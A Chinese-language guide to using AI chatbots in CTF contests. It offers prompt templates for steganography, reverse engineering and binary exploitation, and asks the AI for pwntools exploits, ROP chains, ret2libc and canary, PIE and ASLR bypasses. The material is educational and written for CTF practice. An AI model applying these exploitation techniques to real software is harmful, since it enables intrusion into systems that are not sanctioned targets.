请给我完整可运行的代码 技巧2：让AI当你的工具手册 我在用【StegSolve/Audacity/Wireshark/Volatility】： 当前界面：【描述你看到的界面/选项】 我想实现：【具体目标】 但是不知道：【哪个菜单/哪个命令】 请一步步告诉我操作流程，就像你在我旁边指导一样 技巧3：多轮对话深入挖掘 第一轮： \u0026#34;我用StegSolve的Data Extract提取了数据， 得到一堆二进制【粘贴前100个字节】\u0026#34; 第二轮（基于AI回答）： \u0026#34;你说这可能是PNG文件头，那我怎么把这些二进制 还原成文件？给我Python脚本\u0026#34; 第三轮： \u0026#34;还原出来的PNG打开显示损坏，会不会是字节序问题？ 或者需要修复文件头？\u0026#34; 持续追问直到解决问题 技巧4：建立个人Misc题库 每做完一道Misc题，问AI： \u0026#34;我刚做了一道【图片隐写LSB】题目， 请帮我总结： 1. 这类题的特征（如何快速识别） 2. 通用解题步骤（形成SOP） 3. 常用工具和命令（做成备忘录） 4. 容易踩的坑（避坑指南） 用Markdown格式输出，我要保存到笔记里\u0026#34; Misc方向避坑指南 ❌ 新手常犯的错误 错误1：看到文件就用StegSolve\n❌ 盲目使用，大部分时候看不出东西 ✅ 先用基础命令判断类型，再针对性选工具 ✅ 问AI：\u0026#34;这个文件应该先用什么工具分析？\u0026#34; 错误2：Wireshark打开流量包就懵逼\n❌ 看着几千个数据包不知所措 ✅ 先问AI：\u0026#34;这个流量包应该看什么协议？用什么过滤器？\u0026#34; ✅ 让AI给你过滤器语法，一步步筛选 错误3：工具报错就放弃\n❌ \u0026#34;命令执行失败，不会做了\u0026#34; ✅ 把报错信息完整复制给AI：\u0026#34;遇到这个错误怎么解决？\u0026#34; ✅ AI会告诉你缺什么依赖、命令哪里写错了 错误4：提取出数据就以为是flag\n❌ 拿到一串字符就提交，结果不对 ✅ 问AI：\u0026#34;这串数据看起来像【Base64/Hex】，还需要继续解码吗？\u0026#34; ✅ Misc题经常有多层处理，要问清楚 ✅ 高效技巧 技巧1：构建命令模板库\n1# 让AI帮你生成常用命令，保存成脚本 2 3# 图片分析模板 4analyze_image() { 5 file \u0026#34;$1\u0026#34; 6 binwalk \u0026#34;$1\u0026#34; 7 strings \u0026#34;$1\u0026#34; | grep -i flag 8 exiftool \u0026#34;$1\u0026#34; 9 # ...让AI补充更多 10} 11 12# 流量包分析模板 13analyze_pcap() { 14 tshark -r \u0026#34;$1\u0026#34; -q -z io,phs # 协议统计 15 tshark -r \u0026#34;$1\u0026#34; -Y \u0026#34;http\u0026#34; -T fields -e http.request.uri 16 # ...让AI补充 17} 技巧2：截图给AI看\n遇到图形化工具（StegSolve/Audacity）的问题： 1. 截图当前界面 2. 上传给Claude（支持图片） 3. 问：\u0026#34;我现在在这个界面，想提取隐藏数据，应该点哪里？\u0026#34; AI能直接看着图指导你 技巧3：让AI生成解题报告模板\n我刚做完一道Misc题，请帮我生成WriteUp模板： 题目信息： - 名称：【xxx】 - 类型：【图片隐写/流量分析】 - 难度：【简单/中等/困难】 解题过程： 【我描述步骤，AI帮我规范化】 请输出成Markdown，包含： 1. 题目分析 2. 解题步骤（带命令/代码） 3. 知识点总结 4. 使用的AI对话记录 Misc方向总结 新手上手难度： ⭐⭐⭐⭐ (题型太杂，但单个题不难)\nAI帮助程度： ⭐⭐⭐⭐⭐ (几乎每个环节都能帮上)\n学习路径：\n第1天：文件类型识别 + 基础工具使用 第2天：图片隐写（LSB/EXIF/盲水印） 第3天：流量分析（Wireshark基础） 第4天：压缩包技巧（伪加密/爆破/CRC） 第5天：编码转换大全 第6-7天：内存取证/磁盘取证入门 AI使用建议：\n✅ 文件识别 → AI判断类型 ✅ 工具选择 → AI推荐最合适的 ✅ 命令不会 → AI给语法和示例 ✅ 数据处理 → AI写脚本 ✅ 卡住了 → AI提供新思路 ✅ 工具报错 → AI排查问题 提分技巧：\n1. 前10分钟：快速识别所有Misc题的类型（问AI） 2. 优先做工具型的题（图片/压缩包），这些AI能直接给命令 3. 流量分析题留给队里会Wireshark的人，或者让AI生成过滤器 4. 遇到没见过的题型，立刻问AI，不要自己瞎试浪费时间 5. 建立自己的工具箱脚本，AI生成一次，以后反复用 小贴士：\nMisc题往往思路比技术重要，AI帮你开脑洞 很多Misc题是\u0026quot;想到就会做\u0026quot;，想不到就卡死 善用AI的\u0026quot;见多识广\u0026quot;，它比你见过更多题型 binwalk、strings、file 这三个命令先跑，结果喂给AI分析 Misc经常需要多个工具组合，让AI帮你串联起来 Misc大多数题目要根据不同类型的文件用不同类型的软件，如果是在断网环境下没安装软件就直接跪了，如果没有安装环境或者来不及安装的，可以在比赛后期其他题目无望的情况下，使用python暴力的用二进制处理数据。 Reverse方向：让AI成为你的反编译助手 为什么Reverse是CTF最难的方向之一？ ❌ 需要看懂汇编/反编译代码（门槛高） ❌ 需要理解程序逻辑（脑力消耗大） ❌ 需要识别加密/混淆算法（经验要求高） ❌ 调试过程繁琐（时间成本高） ✅ 但是！AI可以帮你降低70%的难度 Reverse题目的特点与策略 难度评估：⭐⭐⭐⭐⭐ (5星最难) 耗时评估：单题30分钟 - 2小时 AI帮助度：⭐⭐⭐⭐⭐ (Claude的逆向能力极强) 比赛策略： ✅ 前期：先做Crypto/Web/Misc拿基础分 ✅ 中期：如果Reverse题目简单（签到级），可以试试 ✅ 后期：冲分阶段，用AI辅助攻坚 ⚠️ 心态：解出来是惊喜，解不出来当学习，不要死磕 推荐工具链 静态分析工具 工具 优势 缺点 AI配合度 IDA Pro 反编译最强 商业软件 ⭐⭐⭐⭐ 配合AI看F5代码 Ghidra 免费、支持Python脚本 反编译稍弱 ⭐⭐⭐⭐⭐ AI写脚本提取关键信息 动态调试工具 - GDB + pwndbg/gef（Linux） - x64dbg（Windows） - OllyDbg（老牌Windows调试器） 为什么推荐Ghidra？ ✅ 完全免费，功能强大 ✅ 支持Python脚本（AI可以直接写脚本帮你） ✅ 跨平台（Windows/Linux/macOS） ✅ 反编译质量不错（接近IDA） ✅ 找内存地址、提取字符串等操作可以自动化 使用场景： - 批量提取程序中的字符串/地址 - 自动识别加密算法的特征 - 快速定位关键函数 万能提问模板：初次接触二进制 模板1：不知道从哪开始（Claude专用） 我在做CTF Reverse题，拿到了一个二进制文件： 【方法1：直接上传文件给Claude】 Claude可以接收二进制文件，直接分析！ 【方法2：提供基础信息】 文件名：【xxx.exe / crackme / flag_checker】 file命令结果：【ELF 64-bit / PE32 executable】 题目提示：【如果有】 我是Reverse新手，请帮我： 1. 判断这个程序是做什么的（逆向/爆破/算法还原） 2. 用什么工具分析（IDA/Ghidra/动态调试） 3. 给我详细的分析思路和步骤 4. 如果需要写脚本，请提供完整代码 【Claude的杀手锏：直接上传二进制文件】 - Claude内置Linux环境，可以直接运行程序 - 可以用objdump、strings、ltrace等工具分析 - 可以反编译后给你解释每一行代码 模板2：反编译代码看不懂 我用【IDA/Ghidra】反编译了一个函数，但看不懂： 【粘贴反编译的C代码，或者汇编代码】 程序功能：【如果能猜出来就说，比如\u0026#34;好像是验证密码\u0026#34;】 题目提示：【如果有】 请帮我： 1. 逐行解释这段代码在做什么 2. 识别其中的关键逻辑（比较、加密、解密） 3. 判断是否有已知算法（Base64/AES/RC4/TEA等） 4. 如果是自定义算法，帮我还原逻辑 5. 给我逆向求解的脚本（Python） 模板3：算法识别（高级） 反编译代码里有一段加密/哈希算法，我不认识： 【粘贴关键代码段】 特征： - 有大量的异或操作 - 有魔数【比如 0x9E3779B9 / 0x5A827999】 - 有移位操作（\u0026lt;\u0026lt;、\u0026gt;\u0026gt;） - 循环次数：【如果明显】 请帮我： 1. 识别这可能是什么算法（TEA/XTEA/RC4/MD5/SHA/自定义） 2. 如果是已知算法，给我标准实现对照 3. 如果是魔改的，告诉我哪里被改了 4. 提供解密脚本（如果是可逆加密） Reverse方向的AI协作技巧 技巧1：Claude的逆向神技（强烈推荐） 直接上传二进制文件：\n步骤： 1. 在Claude界面点击上传按钮（📎） 2. 选择你的二进制文件（.exe/.elf/.so/.dll） 3. 发送消息：\u0026#34;这是一个CTF Reverse题目，帮我分析\u0026#34; Claude会自动： - 识别文件类型和架构 - 提取字符串和关键信息 - 使用内置Linux环境运行分析工具 - 反编译关键函数 - 给你详细的分析报告 示例提问： \u0026#34;【上传文件 crackme】 这是一个密码验证程序，帮我： 1. 找出验证逻辑 2. 分析加密算法 3. 给我正确的密码或keygen脚本\u0026#34; Claude内置工具链：\nClaude可以直接使用： - file, strings, objdump, readelf - ltrace, strace（动态追踪） - Python脚本分析 - 甚至可以编译和运行代码验证你的逆向结果 你不需要自己装环境，直接让Claude干活！ 技巧2：Ghidra + AI 脚本自动化 场景：需要批量提取/分析程序数据\n我在用Ghidra分析程序，需要： - 提取所有字符串常量 - 找到所有比较操作的地址 - 识别所有函数调用关系 - 提取加密用的魔数/常量表 请给我一个Ghidra Python脚本实现上述功能： 1. 脚本能在Ghidra的Script Manager中直接运行 2. 输出结果保存到文件 3. 代码要有详细注释 【AI会生成类似这样的脚本】： AI生成的Ghidra脚本示例：\n1# Ghidra Python脚本：提取所有字符串和比较操作 2# 在Ghidra中：Window -\u0026gt; Script Manager -\u0026gt; 新建脚本粘贴运行 3 4from ghidra.program.model.block import BasicBlockModel 5from ghidra.program.model.listing import CodeUnit 6 7# 1. 提取所有字符串 8print(\u0026#34;=== 字符串常量 ===\u0026#34;) 9strings = currentProgram.getListing().getDefinedData(True) 10for data in strings: 11 if data.hasStringValue(): 12 addr = data.getAddress() 13 value = data.getValue() 14 print(f\u0026#34;{addr}: {value}\u0026#34;) 15 16# 2. 查找所有CMP指令 17print(\u0026#34;\\n=== 比较指令 ===\u0026#34;) 18listing = currentProgram.getListing() 19instructions = listing.getInstructions(True) 20for instr in instructions: 21 mnemonic = instr.getMnemonicString() 22 if \u0026#34;CMP\u0026#34; in mnemonic or \u0026#34;TEST\u0026#34; in mnemonic: 23 addr = instr.getAddress() 24 print(f\u0026#34;{addr}: {instr}\u0026#34;) 25 26# 3. 查找可疑常量（可能是加密魔数） 27print(\u0026#34;\\n=== 可疑魔数 ===\u0026#34;) 28known_magic = [0x9E3779B9, 0x5A827999, 0x67452301] # TEA, SHA-1等的魔数 29for instr in listing.getInstructions(True): 30 for i in range(instr.getNumOperands()): 31 op = instr.getOpObjects(i) 32 for obj in op: 33 if hasattr(obj, \u0026#39;getValue\u0026#39;): 34 val = obj.getValue() 35 if val in known_magic: 36 print(f\u0026#34;{instr.getAddress()}: 发现魔数 {hex(val)}\u0026#34;) 技巧3：分步骤逆向（多轮对话） 第一轮：宏观分析\n【上传文件或粘贴strings输出】 这个程序的strings输出显示： - \u0026#34;Enter password:\u0026#34; - \u0026#34;Correct!\u0026#34; - \u0026#34;Wrong!\u0026#34; - 一些看起来像Base64的字符串 请分析： 1. 程序大概是做什么的 2. 验证逻辑可能在哪里 3. 应该重点看哪些函数 第二轮：反编译代码分析\n【粘贴main函数或关键函数的反编译代码】 这是main函数的反编译代码，请： 1. 找出输入验证的位置 2. 识别调用了哪些加密函数 3. 判断flag的生成/验证逻辑 第三轮：算法还原\n【粘贴加密函数的代码】 这个函数看起来是加密算法，请： 1. 还原算法逻辑 2. 判断是否可逆 3. 如果可逆，写解密脚本 4. 如果不可逆（哈希），给我爆破策略 第四轮：验证与求解\n根据你的分析，我理解的逻辑是： 【用自己的话描述】 请确认我理解是否正确，然后给我最终的求解脚本 技巧4：让AI帮你调试 遇到调试问题：\n我在用【GDB/x64dbg/OllyDbg】调试： 当前状态： - 断点设置在：【地址/函数名】 - 寄存器值：【如果相关就粘贴】 - 栈内容：【如果相关就粘贴】 问题： - 【比如\u0026#34;程序在这里崩溃了\u0026#34;/\u0026#34;不知道下一步应该看什么\u0026#34;】 请告诉我： 1. 可能的原因 2. 应该检查什么（寄存器/内存/栈） 3. GDB/x64dbg的具体命令 常见Reverse题型与AI提问策略 题型1：简单密码验证 特征：\n输入密码，判断对错 main函数里能直接看到比较逻辑 AI提问：\n【上传文件或粘贴反编译代码】 这是一个简单的密码验证程序： 【粘贴main函数代码】 请帮我： 1. 找出正确的密码（如果是明文比较） 2. 如果密码被编码/加密，还原原始密码 3. 给我一键求解的脚本 题型2：算法逆向 特征：\n输入经过复杂变换 需要还原算法后编写逆算法 AI提问：\n这个程序对输入进行了变换： 【粘贴变换算法的代码】 目标输出（已知）：【16进制或字符串】 请帮我： 1. 理解这个算法的每一步 2. 判断是否可逆 3. 写出逆算法求解输入 4. 如果不可逆，提供爆破策略（范围/字符集） 题型3：VM（虚拟机）题目 特征：\n自定义指令集 需要逆向虚拟机逻辑 AI提问：\n这个程序实现了一个虚拟机： 【粘贴VM指令处理的代码】 已知信息： - 有【X个】不同的指令（opcode） - 有【寄存器/栈/内存】结构 请帮我： 1. 识别每个opcode的功能（ADD/XOR/PUSH/POP等） 2. 还原虚拟机的指令集架构 3. 分析bytecode在做什么 4. 给我一个VM模拟器（Python实现） 5. 如果能直接求解flag，给我脚本 题型4：反调试/花指令/混淆 特征：\nIDA/Ghidra反编译失败或代码很乱 存在反调试检测 AI提问：\n这个程序有反调试/混淆保护： 观察到的现象： - IDA反编译显示【垃圾代码/无法识别】 - 动态调试时【检测到调试器/程序行为异常】 - 有可疑的【ptrace/IsDebuggerPresent/时间检测】 【粘贴关键代码段】 请帮我： 1. 识别反调试的类型 2. 给我bypass的方法（patch/修改调试器） 3. 如果是花指令，如何过滤掉无用代码 4. 提供去混淆的思路或脚本 Reverse方向的进阶技巧 技巧1：建立算法特征库 让AI帮你总结：\n请帮我整理常见加密算法的识别特征： 格式要求： - 算法名称 - 典型魔数/常量 - 代码特征（循环/操作） - 汇编层面的模式 包含算法： Base64, AES, DES, RC4, TEA, XTEA, MD5, SHA-1/256, RSA 输出成表格，我要保存备查 技巧2：让AI写Keygen 场景：逆向出验证逻辑，需要生成正确输入\n我已经逆向出密码验证的算法： 【粘贴你理解的逻辑，或者伪代码】 已知： - 正确的输出（hash/变换结果）：【值】 - 输入范围/格式：【如果有限制】 请帮我写一个Keygen（Key Generator）： 1. 如果算法可逆：直接计算正确输入 2. 如果不可逆：爆破生成符合条件的输入 3. 如果有多个解：输出所有可能的flag 语言：Python（可读性强，方便我理解） 技巧3：交叉验证AI的分析 多AI协作策略：\n步骤1：用Claude分析二进制文件（上传文件） 步骤2：把Claude的分析结果给千问/元宝复核 步骤3：如果两个AI结论不同，用Gemini做第三方判断 提问模板： \u0026#34;另一个AI分析了这个程序，认为是【XXX算法】 但我觉得有疑问，你帮我再看看： 【粘贴代码或Claude的分析】 你同意这个结论吗？有没有其他可能？\u0026#34; 技巧4：让AI当你的Reverse导师 学习驱动的提问：\n我刚做了一道Reverse题，遇到了【TEA加密】： 【粘贴题目代码】 我现在的理解是： 【用自己的话描述算法】 请帮我： 1. 确认我的理解是否正确 2. TEA算法的完整原理是什么？ 3. 为什么它被广泛用在CTF中？ 4. 下次遇到类似代码，如何快速识别？ 5. TEA的常见变种有哪些？ 我想真正学会，而不是只复制代码 Pwn方向：从崩溃到利用的艺术 为什么Pwn是CTF的终极挑战？ ❌ 需要理解内存布局（栈/堆/寄存器） ❌ 需要找到漏洞（溢出/UAF/格式化字符串） ❌ 需要绕过保护（NX/PIE/ASLR/Canary） ❌ 需要构造Exploit（精确控制程序流） ❌ 调试过程极其复杂 ✅ 但是！AI可以教你原理、帮你写Exploit Pwn题目的特点与策略 难度评估：⭐⭐⭐⭐⭐ (最难，没有之一) 耗时评估：单题1小时 - 4小时（新手可能更久） AI帮助度：⭐⭐⭐⭐ (原理讲解强，但需要你有基础) 比赛策略： ❌ 新手前期别碰Pwn，性价比极低 ✅ 先把其他方向的简单题做完 ✅ 如果队里有Pwn大佬，让他主攻 ✅ 比赛末尾有时间，跟着AI学习Pwn思路 ⚠️ 心态：Pwn题是学习经验的，不要指望拿分 Pwn必备工具链 调试工具 GDB + 增强插件（必备）： - pwndbg：最流行，功能全面 - gef：界面友好，适合新手 - peda：老牌，功能强大 安装方法： 问AI：\u0026#34;如何在Ubuntu上安装pwndbg？给我完整步骤\u0026#34; 利用工具 pwntools（Python库）： - 编写Exploit脚本的标准工具 - 自动化漏洞利用 - 与远程服务器交互 安装： pip install pwntools --break-system-packages 学习： 问AI：\u0026#34;pwntools的基础用法，给我一个模板脚本\u0026#34; 辅助工具 - checksec：检查二进制保护机制 - ROPgadget/ropper：查找ROP gadgets - one_gadget：查找libc中的one_gadget - vmmap：查看内存布局 万能提问模板：Pwn入门 模板1：不知道漏洞在哪 我在做Pwn题，拿到一个二进制文件： 【方法1：上传给Claude直接分析】 【方法2：提供信息】 文件名：【pwn1/vuln/chall】 checksec结果：【粘贴checksec输出】 file结果：【ELF 64-bit/32-bit】 【粘贴源代码或反编译代码】 我是Pwn新手，请帮我： 1. 分析程序在做什么 2. 找出可能的漏洞点（栈溢出/堆溢出/格式化字符串/UAF等） 3. 判断有哪些保护机制（Canary/NX/PIE/RELRO） 4. 给我利用思路（需要泄露什么/如何绕过保护） 5. 提供Exploit模板（pwntools） 模板2：知道漏洞但不会利用 我发现了【栈溢出/堆溢出/格式化字符串】漏洞： 漏洞位置：【粘贴有漏洞的代码】 程序保护： - Canary: 【Enabled/Disabled】 - NX: 【Enabled/Disabled】 - PIE: 【Enabled/Disabled】 - RELRO: 【Full/Partial/No】 checksec完整输出：【粘贴】 已知信息： - 有system函数/可以泄露libc - 栈空间大小：【如果知道】 - 输入长度限制：【如果有】 请帮我： 1. 分析利用难度（哪些保护需要绕过） 2. 给出详细的利用思路（步骤拆解） 3. 写完整的Exploit脚本（pwntools，带详细注释） 4. 如果需要调试，告诉我关键断点设在哪 模板3：调试遇到问题 我在用GDB+pwndbg调试Pwn题： 当前情况： - 漏洞类型：【栈溢出/UAF/...】 - 我的payload：【粘贴你构造的payload】 - 程序行为：【崩溃/返回异常/没反应】 GDB输出： 【粘贴寄存器状态、栈内容、或崩溃信息】 问题： - 【比如\u0026#34;为什么我的ROP链没执行\u0026#34;/\u0026#34;地址怎么算错了\u0026#34;】 请帮我： 1. 分析为什么exploit失败 2. 检查payload是否正确 3. 给我调试的具体命令（GDB） 4. 修正后的payload Pwn方向的AI协作技巧 技巧1：让AI当你的Pwn老师 原理学习模板：\n我在学习Pwn，请教几个问题： 1. 【栈溢出/堆溢出/格式化字符串/UAF】的原理是什么？ 用简单的例子解释，不要太学术化 2. 为什么可以通过这个漏洞控制程序执行流？ 从内存布局的角度讲讲 3. 常见的利用方法有哪些？ 【ret2libc/ROP/堆风水/...】 4. 保护机制如何阻止利用？ 【Canary/NX/PIE/ASLR】各自的原理 5. 如何绕过这些保护？ 每种保护给我一个典型的绕过案例 请用Markdown格式输出，我要保存成学习笔记 技巧2：Exploit脚本调试 逐步构建Exploit：\n第一步：基础框架\n请帮我写一个pwntools脚本模板： 目标：连接到【本地/远程】服务 需要功能： - 发送payload - 接收输出 - 调试模式开关（本地可以attach GDB） 只要框架，先不写具体利用代码 第二步：添加利用逻辑\n基于刚才的模板，现在添加利用代码： 漏洞类型：【栈溢出】 目标：【覆盖返回地址为system(\u0026#34;/bin/sh\u0026#34;)】 已知地址： - system: 0x12345678 - \u0026#34;/bin/sh\u0026#34;: 0xabcdef00 请补充payload构造部分 第三步：处理异常\n运行脚本后出现： 【粘贴错误信息或异常输出】 请帮我： 1. 分析原因 2. 修改代码 3. 解释为什么要这样改 技巧3：保护绕过策略 Canary绕过：\n程序有Canary保护： 【粘贴相关代码】 我知道有以下绕过方式： - 泄露Canary值 - 通过格式化字符串漏洞读取 - 爆破（如果fork机制） 请分析这道题应该用哪种方法，并给我脚本 PIE绕过：\n程序开启了PIE，所有地址都是相对的： 保护信息：【checksec输出】 如何泄露基址？ 1. 分析程序有没有信息泄露点 2. 如果有，写脚本泄露基址 3. 计算目标函数的真实地址 4. 完整的Exploit流程 ASLR绕过：\n目标环境开启了ASLR，libc地址随机： 程序有： - puts函数（可以用来泄露libc） - read函数（可以多次输入） 请教我： 1. ret2libc的原理 2. 如何通过泄露puts地址计算libc基址 3. 如何找到system和\u0026#34;/bin/sh\u0026#34;的地址 4. 完整的两步Exploit（先泄露，再利用） 技巧4：堆题目（高级） 堆溢出分析：\n这是一道堆题目： 【粘贴程序代码】 程序功能： - malloc/free/edit功能 - 有【UAF/double free/堆溢出】漏洞 请帮我： 1. 分析堆的布局 2. 判断是哪种堆利用技术（fastbin attack/tcache/unsorted bin） 3. 给出利用思路（劫持什么指针/构造什么堆块） 4. 如果太复杂，给我学习路径（应该先学什么） 常见Pwn题型与AI提问策略 题型1：栈溢出（ret2text/ret2shellcode） 特征：\n简单的gets/scanf/read溢出 无保护或只有NX AI提问：\n【上传文件或粘贴代码】 这是一个简单的栈溢出题： 保护：【checksec输出】 已知： - 溢出点在【函数名】 - 程序里有【后门函数/system函数】 请写Exploit脚本： 1. 计算偏移量（距离返回地址多远） 2. 构造payload覆盖返回地址 3. 如果需要调试，告诉我怎么用GDB验证偏移 题型2：格式化字符串漏洞 特征：\nprintf(buf) 而不是 printf(\u0026quot;%s\u0026quot;, buf) AI提问：\n程序有格式化字符串漏洞： 【粘贴漏洞代码】 我需要： - 泄露栈上的数据（找Canary/libc地址） - 或者任意地址写（改GOT表） 请教我： 1. 格式化字符串的利用原理（%p、%n等） 2. 如何确定偏移量（输入在栈的第几个位置） 3. 写脚本泄露【目标】地址 4. 如果要改写内存，如何构造payload 题型3：ROP（Return-Oriented Programming） 特征：\n有NX保护，不能执行shellcode 需要通过gadgets构造ROP链 AI提问：\n我需要用ROP绕过NX保护： 程序信息： - 架构：【x86/x64】 - Canary: No - NX: Yes - PIE: No 目标：【执行system(\u0026#34;/bin/sh\u0026#34;)/execve】 请帮我： 1. 解释ROP的原理（新手视角） 2. 应该找哪些gadgets（pop rdi; ret / syscall等） 3. 用ROPgadget/ropper工具找gadgets的命令 4. 构造完整的ROP链 5. 给我pwntools脚本，用ROP()类构建 题型4：整数溢出/逻辑漏洞 特征：\n没有明显的内存漏洞 需要通过逻辑错误利用 AI提问：\n这个程序我没找到明显的内存漏洞： 【粘贴程序代码】 但是题目肯定有问题，可能是： - 整数溢出（负数/越界） - 逻辑漏洞（条件判断问题） - Off-by-one 请帮我： 1. 仔细审计代码，找出问题点 2. 解释漏洞原理（为什么可以利用） 3. 给出利用思路 4. 如果需要特殊输入（负数/极大数），告诉我怎么构造 Pwn方向的进阶学习路径 第一阶段：基础理论（AI辅助学习） 问AI：\n我想系统学习Pwn，但是完全零基础。 请给我一个7天学习计划： 第1天：【应该学什么概念/看什么资料】 第2天：【...】 ... 第7天：【应该能做什么难度的题】 每天的学习内容要包含： - 理论知识（核心概念） - 实践练习（推荐题目或靶场） - 检验标准（怎么知道自己学会了） 请给我Markdown格式的详细计划 第二阶段：工具熟练（AI当教练） 工具使用模板：\n教我如何使用【GDB+pwndbg/pwntools/ROPgadget】： 学习方式： 1. 先给我一个简单的实战场景 2. 一步步教我操作（带命令和预期输出） 3. 解释每个命令在做什么 4. 给我一个练习任务，我自己试试 我想真正掌握，不是只复制命令 第三阶段：刷题实战（AI辅助思路） 题目分析框架：\n我在做Pwn题：【题目名】 我的分析流程： 1. checksec → 【结果】 2. 运行程序 → 【观察行为】 3. IDA分析 → 【主要函数逻辑】 4. 我的判断 → 【漏洞类型/利用难度】 现在我卡在：【具体问题】 请帮我： - 验证我的分析是否正确 - 给出下一步应该做什么 - 如果方向错了，指出哪里想错了 Reverse \u0026amp; Pwn方向总结 Reverse方向 新手上手难度： ⭐⭐⭐⭐⭐ AI帮助程度： ⭐⭐⭐⭐⭐ (Claude逆向神器) 学习路径：\n第1-2天：学会用IDA/Ghidra，看懂反编译代码 第3-4天：识别常见算法（Base64/AES/TEA） 第5-6天：简单VM题目、简单混淆 第7天：尝试真实比赛题目 AI使用建议：\n✅ 上传文件给Claude直接分析（核心技能） ✅ 反编译代码看不懂 → AI逐行讲解 ✅ 算法识别 → AI对比已知算法 ✅ 写逆向脚本 → AI生成Python代码 ✅ Ghidra脚本 → AI写自动化提取工具 Pwn方向 新手上手难度： ⭐⭐⭐⭐⭐ (最难) AI帮助程度： ⭐⭐⭐⭐ (学习神器，但需要基础) 学习路径：\n第1周：理解栈/堆/寄存器，学会GDB调试 第2周：栈溢出基础（ret2text/ret2shellcode） 第3周：保护绕过（Canary/NX/PIE） 第4周：ROP链构造 之后：格式化字符串、堆利用（长期学习） AI使用建议：\n✅ 原理学习 → AI当老师，讲概念+画图 ✅ 找漏洞 → AI分析代码，指出问题点 ✅ 写Exploit → AI生成pwntools模板 ✅ 调试问题 → AI解释GDB输出，排查错误 ✅ 绕过保护 → AI给思路和案例 比赛中的Reverse/Pwn策略 ⏰ 时间分配建议 【签到题阶段】（0-30分钟） - Reverse签到题通常比Pwn简单 - 先看Reverse，如果是明文/简单编码，AI秒解 【主攻阶段】（30分钟-2小时） - ❌ 不要碰Reverse/Pwn的难题 - ✅ 优先做完Crypto/Web/Misc的中等题 【冲分阶段】（比赛后半程） - ✅ 其他方向做完了，再攻Reverse/Pwn - ✅ 选一道看起来有思路的，AI辅助尝试 - ⚠️ 设定时间上限（单题不超过1小时） 【学习阶段】（比赛末尾） - ✅ 即使解不出来，跟着AI学习解题思路 - ✅ 为以后积累经验 🎯 题目选择策略 Reverse题目：\n优先级： 1️⃣ 文件很小（\u0026lt;100KB）→ 可能逻辑简单 2️⃣ 题目名字有\u0026#34;简单\u0026#34;/\u0026#34;easy\u0026#34;/\u0026#34;签到\u0026#34; 3️⃣ 有源码的题目 → AI分析源码比反编译快 避开： ❌ 文件\u0026gt;5MB → 可能有大量混淆 ❌ 标题有\u0026#34;VM\u0026#34;/\u0026#34;虚拟机\u0026#34; → 新手噩梦 ❌ 标题有\u0026#34;anti-debug\u0026#34; → 坑很多 Pwn题目：\n优先级： 1️⃣ 保护全关（No Canary/NX/PIE）→ 入门级 2️⃣ 有源码 → AI直接分析源码找漏洞 3️⃣ 题目提示\u0026#34;栈溢出\u0026#34;/\u0026#34;格式化字符串\u0026#34; → 已知漏洞类型 避开： ❌ 保护全开（Full RELRO + Canary + NX + PIE） ❌ 标题有\u0026#34;堆\u0026#34;/\u0026#34;heap\u0026#34; → 需要深厚功底 ❌ 标题有\u0026#34;沙箱\u0026#34;/\u0026#34;sandbox\u0026#34; → 超纲 心态调整与学习建议 新手常见心理障碍 ❌ 错误心态：\n\u0026#34;Reverse/Pwn太难了，我永远学不会\u0026#34; \u0026#34;别人都会，我什么都不懂，好挫败\u0026#34; \u0026#34;花了2小时还没做出来，太笨了\u0026#34; ✅ 正确心态：\n\u0026#34;Reverse/Pwn确实最难，但一步步来能学会\u0026#34; \u0026#34;别人也是从零开始的，我只是入门晚\u0026#34; \u0026#34;2小时能学到东西就是赚的，解不出来是正常的\u0026#34; AI辅助学习的正确姿势 建议1：不要只复制代码\n❌ 看到AI给的脚本，复制粘贴就跑 ✅ 问AI：\u0026#34;这个脚本每一行在做什么？为什么要这样写？\u0026#34; ✅ 自己尝试修改脚本，理解原理 建议2：边做边问为什么\nAI说：\u0026#34;这是TEA算法\u0026#34; 你问：\u0026#34;TEA算法为什么叫TEA？设计理念是什么？\u0026#34; AI说：\u0026#34;用ROP绕过NX\u0026#34; 你问：\u0026#34;NX是怎么阻止shellcode执行的？ROP为什么能绕过？\u0026#34; 持续追问，直到真正理解 建议3：建立知识库\n每做完一道题，让AI帮你总结： \u0026#34;请帮我把这道题整理成笔记： - 题目类型和特征 - 关键知识点 - 常见坑点 - 类似题目的通用解法 Markdown格式，我要保存到Notion/Obsidian\u0026#34; 小贴士：\nReverse：Claude的二进制分析能力真的强，多用上传文件功能 Pwn：pwntools + AI = 学习加速器，但基础还是要自己打 调试：GDB输出看不懂？截图给Claude，它能直接解释 心态：这两个方向就是难，解不出来不丢人，学到东西就是胜利 长期：Reverse/Pwn是CTF的天花板，慢慢学，急不来 四、效率倍增：AI批量下载题目附件与笔记整理 为什么需要批量下载？比赛中后期的\u0026quot;坐牢时刻\u0026quot; 典型场景：被卡住的无奈 比赛进行到2-3小时： ✅ 简单题做完了（Crypto签到、Web基础题） ❌ 剩下的题都太难，完全没思路 ❌ 队友也在苦战，帮不上忙 ⏰ 时间还很长，不想就这么放弃 这时候你在干什么？ ❌ 盯着做不出来的题发呆 ❌ 在群里水聊天 ❌ 刷手机摸鱼 ✅ 正确做法：把\u0026#34;坐牢时间\u0026#34;变成学习时间！ 批量下载的核心价值 🎯 短期价值（比赛中）： 1. 整理已有资料，为后续冲刺做准备 2. 把题目保存本地，防止比赛结束后题目关闭 3. 记录解题思路和AI对话，方便队友接力 4. 保持\u0026#34;我还在努力\u0026#34;的心态，避免完全躺平 🎯 长期价值（赛后）： 1. 建立个人CTF题库，积累经验 2. 题目描述+附件+WP，完整复盘 3. 知识库逐渐成长，成为你的\u0026#34;外置大脑\u0026#34; 4. 下次比赛直接搜索笔记：\u0026#34;我见过类似的题！\u0026#34; 5. 笔记够多后，可以喂给本地AI（RAG知识库） 哪些比赛支持批量下载？ 有API接口的平台（推荐） ✅ RHG类型比赛 - 通常提供Bot API - 可以用脚本自动下载题目+附件 ⚠️ 没有API的平台 - 只能手动下载，或者写爬虫（风险高） - 建议：手动下载+AI辅助整理 使用AI编写批量下载脚本 第一步：分析平台接口 AI提问模板：\n我在参加CTF比赛，想批量下载题目： 平台信息： 比赛方给的Bot接口文档信息，包含api地址，调用方式，你所在队伍的token 请帮我： 1. 分析这个平台的API结构 2. 判断是否可以用脚本批量下载 3. 给我完整的Python脚本（包含登录/获取题目列表/下载附件） 没有API？手动整理 + AI辅助 手动下载的最佳实践 当平台不提供API时，不要写爬虫（可能违规）： ✅ 正确做法： 1. 手动下载每道题的附件 2. 复制题目描述到文本文件 3. 截图保存题目界面（尤其是在线靶场） 4. 让AI帮你整理成统一格式 